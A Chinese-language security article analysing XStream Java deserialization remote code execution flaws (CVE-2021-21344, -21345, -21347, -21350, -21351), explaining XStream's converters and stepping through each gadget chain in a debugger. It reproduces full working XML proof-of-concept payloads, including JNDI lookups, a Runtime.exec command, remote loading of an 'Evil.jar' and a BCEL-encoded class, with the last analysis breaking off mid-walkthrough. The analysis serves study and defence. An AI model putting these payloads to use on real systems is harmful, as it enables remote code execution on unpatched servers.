Xstream反序列化远程代码执行漏洞深入分析

  • A+
所属分类:安全文章
摘要

Xstream是java中一个使用比较广泛的XML序列化组件,本文以近期Xstream爆出的几个高危RCE漏洞为案例,对Xstream进行分析,同时对POC的构成原理进行讲解

0. 前言

Xstream是java中一个使用比较广泛的XML序列化组件,本文以近期Xstream爆出的几个高危RCE漏洞为案例,对Xstream进行分析,同时对POC的构成原理进行讲解

1. Xstream简介

XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。

Xstream具有以下优点

  • 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。

  • 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。

  • 性能 - XStream快速和低内存占用,适合于大对象图或系统。

  • 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读。

  • 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。

  • 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。

  • 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。

  • 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。

  • 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。

  • 另一种输出格式 - XStream支持其它的输出格式,如JSON。

下面通过一个小案例来演示Xstream如何将java对象序列化成xml数据

首先是两个简单的pojo类,都实现了Serializable接口并且重写了readObject方法

import java.io.IOException;
import java.io.Serializable;

public class People implements Serializable{
 private String name;
 private int age;
 private Company workCompany;

 public People(String name, int age, Company workCompany) {
     this.name = name;
     this.age = age;
     this.workCompany = workCompany;
}

 public String getName() {
     return name;
}

 public void setName(String name) {
     this.name = name;
}

 public int getAge() {
     return age;
}

 public void setAge(int age) {
     this.age = age;
}

 public Company getWorkCompany() {
     return workCompany;
}

 public void setWorkCompany(Company workCompany) {
     this.workCompany = workCompany;
}

 private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
     s.defaultReadObject();
     System.out.println("Read People");
}
}
public class Company implements Serializable {
 private String companyName;
 private String companyLocation;

 public Company(String companyName, String companyLocation) {
     this.companyName = companyName;
     this.companyLocation = companyLocation;
}

 public String getCompanyName() {
     return companyName;
}

 public void setCompanyName(String companyName) {
     this.companyName = companyName;
}

 public String getCompanyLocation() {
     return companyLocation;
}

 public void setCompanyLocation(String companyLocation) {
     this.companyLocation = companyLocation;
}

 private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
     s.defaultReadObject();
     System.out.println("Company");
}
}

然后生成一个People对象,并使用Xstream对其进行序列化

XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);

最后的执行结果如下

<com.XstreamTest.People serialization="custom">
<com.XstreamTest.People>
 <default>
   <age>25</age>
   <name>xiaoming</name>
   <workCompany serialization="custom">
     <com.XstreamTest.Company>
       <default>
         <companyLocation>BeiJing</companyLocation>
         <companyName>TopSec</companyName>
       </default>
     </com.XstreamTest.Company>
   </workCompany>
 </default>
</com.XstreamTest.People>
</com.XstreamTest.People>

如果两个pojo类没有实现Serializable接口则序列化后的数据是以下这个样子

<com.XstreamTest.People>
<name>xiaoming</name>
<age>25</age>
<workCompany>
 <companyName>TopSec</companyName>
 <companyLocation>BeiJing</companyLocation>
</workCompany>
</com.XstreamTest.People>

看到这里,有些同学可能就意识到了,Xstream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的。

在TreeUnmarshaller类的convertAnother方法处下断点,如下图所示

Xstream反序列化远程代码执行漏洞深入分析

这里会获取一个converter,中文直译为转换器,Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据,我们跟进该方法看看在处理最外层的没有实现Serializable接口的People类时用的是哪种converter

Xstream反序列化远程代码执行漏洞深入分析

从执行的结果中可以看到最终返回一个ReflectionConverter,当然不同的类型在这里会返回不同的Converter,这里仅仅只是处理我们自定义的未实现Serializable接口的People类时使用ReflectionConverter,该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值,那如过是处理实现了Serializable接口并且重写了readObject方法的People类时会有什么不一样呢?

更换序列化后的数据,在同样的位置打上断点,会发现这里处理People的Converter由ReflectionConverter变成了,SerializableConverter。

Xstream反序列化远程代码执行漏洞深入分析

这是我们尝试在People类的readObject类处打上断点

Xstream反序列化远程代码执行漏洞深入分析

会发现执行过程中居然调用了我们重写的readObject方法,此时的调用链如下

Xstream反序列化远程代码执行漏洞深入分析

既然会调用readObject方法的话,那此时我们的思路应该就很清晰了,只需要找到一条利用链,就可以尝试进行反序列化攻击了

2. CVE-2021-21344

下面是漏洞相关POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
 <default>
   <size>2</size>
   <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
     <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
       <packet>
         <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
           <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
             <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
               <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                 <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                   <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                   <uriProperties/>
                   <attributeProperties/>
                   <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                     <getter>
                       <class>com.sun.rowset.JdbcRowSetImpl</class>
                       <name>getDatabaseMetaData</name>
                       <parameter-types/>
                     </getter>
                   </inheritedAttWildcard>
                 </bi>
                 <tagName/>
                 <context>
                   <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                     <outer-class reference='../..'/>
                   </marshallerPool>
                   <nameList>
                     <nsUriCannotBeDefaulted>
                       <boolean>true</boolean>
                     </nsUriCannotBeDefaulted>
                     <namespaceURIs>
                       <string>1</string>
                     </namespaceURIs>
                     <localNames>
                       <string>UTF-8</string>
                     </localNames>
                   </nameList>
                 </context>
               </bridge>
             </bridge>
             <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
               <javax.sql.rowset.BaseRowSet>
                 <default>
                   <concurrency>1008</concurrency>
                   <escapeProcessing>true</escapeProcessing>
                   <fetchDir>1000</fetchDir>
                   <fetchSize>0</fetchSize>
                   <isolation>2</isolation>
                   <maxFieldSize>0</maxFieldSize>
                   <maxRows>0</maxRows>
                   <queryTimeout>0</queryTimeout>
                   <readOnly>true</readOnly>
                   <rowSetType>1004</rowSetType>
                   <showDeleted>false</showDeleted>
                   <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                   <params/>
                 </default>
               </javax.sql.rowset.BaseRowSet>
               <com.sun.rowset.JdbcRowSetImpl>
                 <default>
                   <iMatchColumns>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                     <int>-1</int>
                   </iMatchColumns>
                   <strMatchColumns>
                     <string>foo</string>
                     <null/>
                     <null/>
                     <null/>
                     <null/>
                     <null/>
                     <null/>
                     <null/>
                     <null/>
                     <null/>
                   </strMatchColumns>
                 </default>
               </com.sun.rowset.JdbcRowSetImpl>
             </jaxbObject>
           </dataSource>
         </message>
         <satellites/>
         <invocationProperties/>
       </packet>
     </indexMap>
   </comparator>
 </default>
 <int>3</int>
 <string>javax.xml.ws.binding.attachments.inbound</string>
 <string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

不难看出最外层封装的类是PriorityQueue,PriorityQueue是实现了Serializable接口并且重写了readObject方法的这点从POC中PriorityQueue的标签上也看得出,结合我们之前对XStream的分析 这次我们直接在PriorityQueued的readObject方法中打上断点。

Xstream反序列化远程代码执行漏洞深入分析

研究过java反序列化的同学对PriorityQueue这个类肯定不会陌生,经典的CommonCollections利用链中有几个就用到了PriorityQueue,放一下此刻的调用链。

Xstream反序列化远程代码执行漏洞深入分析

然后我们跟进heapify()方法,

Xstream反序列化远程代码执行漏洞深入分析

经过一些调试来到了PriorityQueue类的siftDownUsingComparator方法中如下图所示。

Xstream反序列化远程代码执行漏洞深入分析

这里调用了PriorityQueue类中存储在comparator属性中的对象的compare方法,这时我们回过头来再去看一下POC

Xstream反序列化远程代码执行漏洞深入分析

我们可以很直观的从XStream序列化的数据中看到PriorityQueue类的comparator属性中存储的是一个sun.awt.datatransfer.DataTransferer$IndexOrderComparator类型的对象 也就是说接下来会调用DataTransferer$IndexOrderComparator对象的compare方法。

Xstream反序列化远程代码执行漏洞深入分析

剩下的过程就是一系列的嵌套调用,最终会执行到com.sun.rowset.JdbcRowSetImpl的getDatabaseMetaData中,并最终在JdbcRowSetImpl的connect方法中通过JNDI去lookup事先封装在JdbcRowSetImpl的dataSource中的恶意地址

Xstream反序列化远程代码执行漏洞深入分析

Xstream反序列化远程代码执行漏洞深入分析

Xstream反序列化远程代码执行漏洞深入分析

最后贴一下调用栈

Xstream反序列化远程代码执行漏洞深入分析

CVE-2021-21344分析至此完毕。

2. CVE-2021-21345

先粘贴一下cve-2021-21345的poc

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
 <default>
   <size>2</size>
   <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
     <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
       <packet>
         <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
           <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
             <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
               <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                 <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                   <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                   <uriProperties/>
                   <attributeProperties/>
                   <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                     <getter>
                       <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                       <name>verify</name>
                       <parameter-types/>
                     </getter>
                   </inheritedAttWildcard>
                 </bi>
                 <tagName/>
                 <context>
                   <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                     <outer-class reference='../..'/>
                   </marshallerPool>
                   <nameList>
                     <nsUriCannotBeDefaulted>
                       <boolean>true</boolean>
                     </nsUriCannotBeDefaulted>
                     <namespaceURIs>
                       <string>1</string>
                     </namespaceURIs>
                     <localNames>
                       <string>UTF-8</string>
                     </localNames>
                   </nameList>
                 </context>
               </bridge>
             </bridge>
             <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
               <activationCmd>open /Applications/Calculator.app</activationCmd>
             </jaxbObject>
           </dataSource>
         </message>
         <satellites/>
         <invocationProperties/>
       </packet>
     </indexMap>
   </comparator>
 </default>
 <int>3</int>
 <string>javax.xml.ws.binding.attachments.inbound</string>
 <string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

可以看到21345的利用链较之21344的利用链来说变化不大,唯一的不同点在于执行代码的位置不再使用JdbcRowSetImpl去远程加载恶意类来到本地执行恶意代码,而是使用com.sun.corba.se.impl.activation.ServerTableEntry类直接在本地执行恶意代码,从利用的复杂度上来和21344做比较的话无疑是简单的不少,既然整个利用链中变化的只有这一处,那就单分析这个类就可以了,将断点直接打在ServerTableEntry类的verify方法上。

Xstream反序列化远程代码执行漏洞深入分析

这里直接将activationCmd属性中的值作为参数调用Runtime.exec来进行执行,而activationCmd在序列化的数据中就已经被我们自定义了值。

Xstream反序列化远程代码执行漏洞深入分析

由于调用栈和CVE-2021-21344基本一样所以就不再重复粘贴的,至此CVE-2021-21345分析完毕

3. CVE-2021-21347

首先先看下POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
 <default>
   <size>2</size>
   <comparator class='javafx.collections.ObservableList$1'/>
 </default>
 <int>3</int>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
   <dataHandler>
     <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
       <contentType>text/plain</contentType>
       <is class='java.io.SequenceInputStream'>
         <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
           <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
             <names class='java.util.AbstractList$Itr'>
               <cursor>0</cursor>
               <lastRet>-1</lastRet>
               <expectedModCount>0</expectedModCount>
               <outer-class class='java.util.Arrays$ArrayList'>
                 <a class='string-array'>
                   <string>Evil</string>
                 </a>
               </outer-class>
             </names>
             <processorCL class='java.net.URLClassLoader'>
               <ucp class='sun.misc.URLClassPath'>
                 <urls serialization='custom'>
                   <unserializable-parents/>
                   <vector>
                     <default>
                       <capacityIncrement>0</capacityIncrement>
                       <elementCount>1</elementCount>
                       <elementData>
                         <url>http://127.0.0.1:80/Evil.jar</url>
                       </elementData>
                     </default>
                   </vector>
                 </urls>
                 <path>
                   <url>http://127.0.0.1:80/Evil.jar</url>
                 </path>
                 <loaders/>
                 <lmap/>
               </ucp>
               <package2certs class='concurrent-hash-map'/>
               <classes/>
               <defaultDomain>
                 <classloader class='java.net.URLClassLoader' reference='../..'/>
                 <principals/>
                 <hasAllPerm>false</hasAllPerm>
                 <staticPermissions>false</staticPermissions>
                 <key>
                   <outer-class reference='../..'/>
                 </key>
               </defaultDomain>
               <initialized>true</initialized>
               <pdcache/>
             </processorCL>
           </iterator>
           <type>KEYS</type>
         </e>
         <in class='java.io.ByteArrayInputStream'>
           <buf></buf>
           <pos>-2147483648</pos>
           <mark>0</mark>
           <count>0</count>
         </in>
       </is>
       <consumed>false</consumed>
     </dataSource>
     <transferFlavors/>
   </dataHandler>
   <dataLen>0</dataLen>
 </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

可以看到这个漏洞的利用链就和之前两个大不相同了,并且在分析该漏洞的时候也踩了一些坑,在这里也和大家详细说明一下

这里我先用jdk 1.8.20版本来复现这个漏洞,然而执行的时候却返回以下错误

Xstream反序列化远程代码执行漏洞深入分析

一开始没太明白这里是出了什么问题 先是跟着报错信息中提示的路径去看了一下,发现是在反序列化PriorityQueue的comparator属性的时候出现了问题。

Xstream反序列化远程代码执行漏洞深入分析

经过一段跟踪调试,跟踪到类加载的地方发现根本找不到这个ObservableList$1的对象,从这个名字带有$1不难看出,这是一个匿名内部类对象,此时我们先去ObservableList这个类中去查看一下,然后发现ObservableList是一个接口类型,源码如下

public interface ObservableList<E> extends List<E>, Observable {

 public void addListener(ListChangeListener<? super E> listener);

 public void removeListener(ListChangeListener<? super E> listener);

 public boolean addAll(E... elements);

 public boolean setAll(E... elements);

 public boolean setAll(Collection<? extends E> col);

 public boolean removeAll(E... elements);

 public boolean retainAll(E... elements);


 public void remove(int from, int to);

 public default FilteredList<E> filtered(Predicate<E> predicate) {
     return new FilteredList<>(this, predicate);
}

 public default SortedList<E> sorted(Comparator<E> comparator) {
     return new SortedList<>(this, comparator);
}

 public default SortedList<E> sorted() {
     return sorted(null);
}
}

发现根本就没有什么匿名内部类,此时分析陷入了僵局,然后经过该漏洞的作者threedr3am师傅的指导,尝试更换了下JDK的版本,将JDK版本更换为1.8.131版本后ObservableList的源码发生了变化。这里只粘贴关键的代码。

public default SortedList<E> sorted(Comparator<E> comparator) {
 return new SortedList<>(this, comparator);
}

/**
* Creates a {@link SortedList} wrapper of this list with the natural
* ordering.
* @return new {@code SortedList}
* @since JavaFX 8.0
*/
public default SortedList<E> sorted() {
 Comparator naturalOrder = new Comparator<E>() {

     @Override
     public int compare(E o1, E o2) {
         if (o1 == null && o2 == null) {
             return 0;
        }
         if (o1 == null) {
             return -1;
        }
         if (o2 == null) {
             return 1;
        }

         if (o1 instanceof Comparable) {
             return ((Comparable) o1).compareTo(o2);
        }

         return Collator.getInstance().compare(o1.toString(), o2.toString());
    }
};
 return sorted(naturalOrder);
}

可以看到sorted()方法里面多了一个Comparator类型的匿名内部类对象,而这个就是我们反序列化是POC中的那个ObservableList$1,这里写一个简单的例子验证一下

Xstream反序列化远程代码执行漏洞深入分析

该漏洞利用的时候对JDK的版本有一定的限制,

接下来开始继续分析,然后当我用JDK1.8.131再次运行的时候又爆了另一个错误

Xstream反序列化远程代码执行漏洞深入分析

这里提示找不到 java.security.ProtectionDomain$Key.outer-class这个属性,然后经过一段让人头秃的调试后终于搞明白了其中缘由。

首先着重看一下出现问题的POC的位置

Xstream反序列化远程代码执行漏洞深入分析

导致报错的就是这个outer-class标签,报错的原因是反序列化的时候找不到这个outer-class属性,我们来到对应的类也就是ProtectionDomain$Key这个类中查看一下

Xstream反序列化远程代码执行漏洞深入分析

发现key是一个静态内部类。

接下来我们要搞明白,就XStream在什么情况下在序列化的数据中出现这个outer-class标签,这里进行一个简单的实验

class Foo {
 private String foocontent;
 private Bar bar;

 public String getFoocontent() {
     return foocontent;
}

 public void setFoocontent(String foocontent) {
     this.foocontent = foocontent;
}

 public Bar getBar() {
     return bar;
}

 public void setBar(Bar bar) {
     this.bar = bar;
}
 
 class Bar {
     private String blabla;

     public String getBlabla() {
         return blabla;
    }

     public void setBlabla(String blabla) {
         this.blabla = blabla;
    }

}

}

这里有两个类,一个是Foo类,另一个Bar是一个成员内部类,这里Foo有一个属性bar用来存储一个Bar类型的数据。接下来我们实例化一下这个类,然后对其属性进行赋值,并用XStream对其进行序列化。

  public static void main(String[] args) {
     Foo foo = new Foo();
     Bar bar = foo.new Bar();
     bar.setBlabla("hello");
     foo.setBar(bar);
     XStream xstream = new XStream();
     String xml = xstream.toXML(foo);
     System.out.println(xml);
}

查看执行结果

Xstream反序列化远程代码执行漏洞深入分析

当引用了自己的成员内部类时,XStream就会通过outer-class来进行标识。在回过去看poc就可以理解这里表示的意思是Key作为一个成员内部类被ProtectionDomain引用,但是在jdk1.8.131中ProtectionDomain$Key是一个静态内部类呀,静态内部类XStream序列化的时候是不会通过<outer-class>标签进行标识的

介于之前菜的坑,我又将jdk版本更换到1.8.221版本此时再看ProtectionDomain$Key这个类,可以看到在1.8.221版本的jdk中,Key已经从静态内部来改成一个成员内部类了,此时在运行POC就不会报找不到outer-class的错误了。

Xstream反序列化远程代码执行漏洞深入分析

当然既然在jdk1.8.131版本中Key时静态内部类,那我们也可以直接通过在POC中删除<outer-class>这个标签来避免这个报错。

不过虽然时不报错了,但是我们还是没搞清楚这个outer-class究竟为什么会有这条属性,这里引用一篇文章java非静态内部类中的属性this$0

接着用我们写的Demo中的Foo类和它的成员内部类Bar类来进行讲解,在Foo$Bar对象生成过后我打一个断点

Xstream反序列化远程代码执行漏洞深入分析

这里有一个变量名为this$0的一个变量,仔细观察他的类型,发现是一个Foo类型的,也就是说他是Foo这个最外层的类对象,还记得学习java基础的时候在学习内部类的时候学过的一个知识点,就是内部类可以直接使用外部类的公有或私有变量,而外部类却不能直接使用内部类的变量,就是因为内部类会在编译时就加入一个外部类作为变量。

搞明白了这一点后我们就继续分析gadget

同样的PriorityQueue部分就不再重复讲解了,只贴一下调用链

Xstream反序列化远程代码执行漏洞深入分析

我们从ObsevableList$1这个匿名内部类开始讲起,我们来看下这个匿名内部类的实现

Xstream反序列化远程代码执行漏洞深入分析

这里 o1和o2是同一个Base64Data对象,目的调用Base64Data.toString方法,跟入查看toString方法详情

Xstream反序列化远程代码执行漏洞深入分析

toString方法中调用了Base64Data.get方法,继续跟入,在get方法中调用了ByteArrayOutputStreamEx.readFrom()方法,而传入的参数则是一个SequenceInputStream对象。

Xstream反序列化远程代码执行漏洞深入分析

这里先粘贴一下此时整个Base64Data对象的封装情况。

Xstream反序列化远程代码执行漏洞深入分析

跟入ByteArrayOutputStreamEx.readFrom()方法,经过几次嵌套调用后,来到了SequenceInputStream.nextStream()方法中,这里的关键是调用了属性e,也就是POC中就封装进去的MultiUIDefaults$MultiUIDefaultsEnumerator对象的hasMoreElements()方法

Xstream反序列化远程代码执行漏洞深入分析

继续跟进,就会看到调用了JavacProcessingEnvironment$NameProcessIterator.hasNext()方法

Xstream反序列化远程代码执行漏洞深入分析

当跟入到hasNext()方法方法后可以看到该方法中的关键点在于,调用processorCL的loadClass方法

Xstream反序列化远程代码执行漏洞深入分析

我们直接从POC中来查看processorCL就是封装进去的URLClassLoader对象,而var1就是封装入names属性中的Arrays$ArrayList对象中存储的字符串也就是恶意类的名字。

Xstream反序列化远程代码执行漏洞深入分析

接下来的步骤就是通过URLClassloader去远程加载恶意类到本地 然后执行静态代码块中的恶意代码从而导致RCE,这个过程就不进行深入赘述了,至此CVE-2021-21347漏洞分析完毕

4. CVE-2021-21350

粘贴一下POC

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
 <default>
   <size>2</size>
   <comparator class='javafx.collections.ObservableList$1'/>
 </default>
 <int>3</int>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
   <dataHandler>
     <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
       <contentType>text/plain</contentType>
       <is class='java.io.SequenceInputStream'>
         <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
           <iterator class='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator'>
             <names class='java.util.AbstractList$Itr'>
               <cursor>0</cursor>
               <lastRet>-1</lastRet>
               <expectedModCount>0</expectedModCount>
               <outer-class class='java.util.Arrays$ArrayList'>
                 <a class='string-array'>
                   <string>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string>
                 </a>
               </outer-class>
             </names>
             <processorCL class='com.sun.org.apache.bcel.internal.util.ClassLoader'>
               <parent class='sun.misc.Launcher$ExtClassLoader'>
               </parent>
               <package2certs class='hashtable'/>
               <classes defined-in='java.lang.ClassLoader'/>
               <defaultDomain>
                 <classloader class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='../..'/>
                 <principals/>
                 <hasAllPerm>false</hasAllPerm>
                 <staticPermissions>false</staticPermissions>
                 <key>
                   <outer-class reference='../..'/>
                 </key>
               </defaultDomain>
               <packages/>
               <nativeLibraries/>
               <assertionLock class='com.sun.org.apache.bcel.internal.util.ClassLoader' reference='..'/>
               <defaultAssertionStatus>false</defaultAssertionStatus>
               <classes/>
               <ignored__packages>
                 <string>java.</string>
                 <string>javax.</string>
                 <string>sun.</string>
               </ignored__packages>
               <repository class='com.sun.org.apache.bcel.internal.util.SyntheticRepository'>
                 <__path>
                   <paths/>
                   <class__path>.</class__path>
                 </__path>
                 <__loadedClasses/>
               </repository>
               <deferTo class='sun.misc.Launcher$ExtClassLoader' reference='../parent'/>
             </processorCL>
           </iterator>
           <type>KEYS</type>
         </e>
         <in class='java.io.ByteArrayInputStream'>
           <buf></buf>
           <pos>0</pos>
           <mark>0</mark>
           <count>0</count>
         </in>
       </is>
       <consumed>false</consumed>
     </dataSource>
     <transferFlavors/>
   </dataHandler>
   <dataLen>0</dataLen>
 </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
 <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

该漏洞的整个利用链和CVE-2021-21345如出一辙,不同的地方在于,最后的加载恶意Class的Classloader不再使用URLClassloader去远程加载,而是采用了com.sun.org.apache.bcel.internal.util.ClassLoader,这里相信对FastJson有了解的同学应该不陌生,这里使用了BCEL的方式来进行恶意代码执行

Xstream反序列化远程代码执行漏洞深入分析

但是整个利用链和CVE-2021-21347是一样的,所以这里也就不重复赘述了。

5. CVE-2021-21351

粘贴一下POC

<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
 <type>ysomap</type>
 <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
   <m__DTMXRTreeFrag>
     <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
       <m__size>-10086</m__size>
       <m__mgrDefault>
         <__overrideDefaultParser>false</__overrideDefaultParser>
         <m__incremental>false</m__incremental>
         <m__source__location>false</m__source__location>
         <m__dtms>
           <null/>
         </m__dtms>
         <m__defaultHandler/>
       </m__mgrDefault>
       <m__shouldStripWS>false</m__shouldStripWS>
       <m__indexing>false</m__indexing>
       <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
         <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
           <javax.sql.rowset.BaseRowSet>
             <default>
               <concurrency>1008</concurrency>
               <escapeProcessing>true</escapeProcessing>
               <fetchDir>1000</fetchDir>
               <fetchSize>0</fetchSize>
               <isolation>2</isolation>
               <maxFieldSize>0</maxFieldSize>
               <maxRows>0</maxRows>
               <queryTimeout>0</queryTimeout>
               <readOnly>true</readOnly>
               <rowSetType>1004</rowSetType>
               <showDeleted>false</showDeleted>
               <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
               <listeners/>
               <params/>
             </default>
           </javax.sql.rowset.BaseRowSet>
           <com.sun.rowset.JdbcRowSetImpl>
             <default/>
           </com.sun.rowset.JdbcRowSetImpl>
         </fPullParserConfig>
         <fConfigSetInput>
           <class>com.sun.rowset.JdbcRowSetImpl</class>
           <name>setAutoCommit</name>
           <parameter-types>
             <class>boolean</class>
           </parameter-types>
         </fConfigSetInput>
         <fConfigParse reference='../fConfigSetInput'/>
         <fParseInProgress>false</fParseInProgress>
       </m__incrementalSAXSource>
       <m__walker>
         <nextIsRaw>false</nextIsRaw>
       </m__walker>
       <m__endDocumentOccured>false</m__endDocumentOccured>
       <m__idAttributes/>
       <m__textPendingStart>-1</m__textPendingStart>
       <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
       <m__pastFirstElement>false</m__pastFirstElement>
     </m__dtm>
     <m__dtmIdentity>1</m__dtmIdentity>
   </m__DTMXRTreeFrag>
   <m__dtmRoot>1</m__dtmRoot>
   <m__allowRelease>false</m__allowRelease>
 </value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
 <type>ysomap</type>
 <value class='com.sun.org.apache.xpath.internal.objects.XString'>
   <m__obj class='string'>test</m__obj>
 </value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

这次用到的gadget入口点为javax.naming.ldap.Rdn$RdnEntry,在使用该POC之前仍然有一个点是需要注意的,/ <__overrideDefaultParser>这个标签在低版本的jdk中是没有的,需要进行更换。

Xstream反序列化远程代码执行漏洞深入分析

更换成以下标签。

Xstream反序列化远程代码执行漏洞深入分析

接下来就用jdk1.8.20为例,来进行分析。首先在POC中我们可以直观的看到,有两个Rdn$RdnEntry的序列化数据,最外层的触发点是Rdn$RdnEntry.compareTo方法,该方法是对比两个Rdn$RdnEntry的value属性是否相同。

Xstream反序列化远程代码执行漏洞深入分析

当前对象的value属性是一个Xstring对象,在POC中的这个位置。

Xstream反序列化远程代码执行漏洞深入分析

所以跟进Xstring.equals方法,该方法中需要注意的是调用了obj2 也就是传入的XRTreeFrag.toString方法,跟进该方法

Xstream反序列化远程代码执行漏洞深入分析

经过一次嵌套调用后,来到XRTreeFrag.str方法中 这里调用了之前就封装在POC中的SAX2DTM对象,如下图所示

Xstream反序列化远程代码执行漏洞深入分析

Xstream反序列化远程代码执行漏洞深入分析

跟入SAX2DTM.getStringValue方法,经过两次嵌套调用后,来到了SAX2DTM.nextNode方法中,该方法中需要注意的是调用了m_incrementalSAXSource属性也就是POC中封装好的IncrementalSAXSource_Xerces对象的deliverMoreNodes方法。

Xstream反序列化远程代码执行漏洞深入分析

